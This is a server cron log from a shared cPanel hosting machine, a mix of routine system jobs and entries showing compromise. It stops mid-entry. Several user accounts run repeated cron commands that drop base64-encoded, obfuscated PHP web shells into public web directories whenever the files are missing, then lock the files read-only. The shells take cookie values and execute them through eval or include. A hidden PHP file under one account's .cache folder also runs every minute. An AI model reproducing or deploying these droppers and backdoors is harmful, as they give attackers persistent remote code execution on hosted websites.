Jun  7 14:33:02 medusa CROND[21638]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:34:01 medusa CROND[23414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:34:01 medusa CROND[23415]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:34:01 medusa CROND[23416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:34:01 medusa CROND[23417]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:34:01 medusa CROND[23418]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:34:01 medusa CROND[23419]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:34:01 medusa CROND[23421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:34:01 medusa CROND[23422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:34:01 medusa CROND[23425]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:34:01 medusa CROND[23427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:34:01 medusa CROND[23429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:34:01 medusa CROND[23430]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:34:01 medusa CROND[23439]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:35:01 medusa CROND[25188]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:35:01 medusa CROND[25194]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:35:01 medusa CROND[25202]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25203]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25204]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:35:01 medusa CROND[25205]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 14:35:01 medusa CROND[25207]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:35:01 medusa CROND[25208]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:35:01 medusa CROND[25210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:35:01 medusa CROND[25214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 14:35:01 medusa CROND[25220]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25225]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:35:01 medusa CROND[25230]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:35:01 medusa CROND[25231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:35:01 medusa CROND[25219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:35:01 medusa CROND[25234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:35:01 medusa CROND[25235]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:35:01 medusa CROND[25236]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:35:01 medusa CROND[25229]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:35:01 medusa CROND[25212]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:35:01 medusa CROND[25228]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:35:01 medusa CROND[25239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:35:01 medusa CROND[25240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 14:36:02 medusa CROND[27195]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:36:02 medusa CROND[27198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:36:02 medusa CROND[27241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:36:02 medusa CROND[27246]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:36:02 medusa CROND[27247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:36:02 medusa CROND[27249]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAk